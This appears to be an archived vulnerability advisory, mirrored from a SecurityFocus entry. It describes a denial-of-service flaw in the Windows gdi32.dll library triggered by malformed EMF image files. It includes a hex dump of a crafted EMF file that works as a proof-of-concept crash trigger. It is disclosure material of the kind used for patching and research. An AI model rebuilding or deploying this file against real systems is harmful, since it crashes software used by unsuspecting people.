17 lines
No EOL
977 B
Text
17 lines
No EOL
977 B
Text
source: https://www.securityfocus.com/bid/12834/info
|
|
|
|
Reportedly, a denial of service vulnerability affects Microsoft Windows GDI library 'gdi32.dll'. This issue is due to a failure of the application to securely copy data from malformed EMF image files.
|
|
|
|
An attacker may leverage this issue to trigger a denial of service condition in software implementing the vulnerable library. Other attacks may also be possible.
|
|
|
|
A hex dumped EMF file:
|
|
-------------------------------------------------------
|
|
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
|
|
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
|
|
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
|
|
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
|
|
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
|
|
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
|
|
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
|
|
0000070 41 42 43 44 00 00 01 ff
|
|
------------------------------------------------------- |